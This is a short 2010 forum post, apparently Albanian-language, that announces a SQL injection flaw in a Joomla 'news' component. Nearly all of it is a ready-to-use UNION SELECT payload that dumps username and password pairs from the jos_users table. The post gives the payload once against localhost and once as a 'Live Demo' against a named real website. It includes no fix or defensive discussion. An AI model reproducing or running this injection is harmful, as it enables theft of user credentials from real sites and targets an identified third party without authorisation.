Joomla Component news SQL Injection Vulnerability

nga **system K1LL3r** Sat Jan 30, 2010 3:45 pm

Joomla Component news SQL Injection Vulnerability
Autor : phantom
E-mail : /
-----------------------------
Shembull:
http://localhost/index.php?option=co...&id=-148+UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28+from+jos_users--

Live Demo:
http://www.fermaten.dk/index.php?opt...&id=-148+UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28+from+jos_users--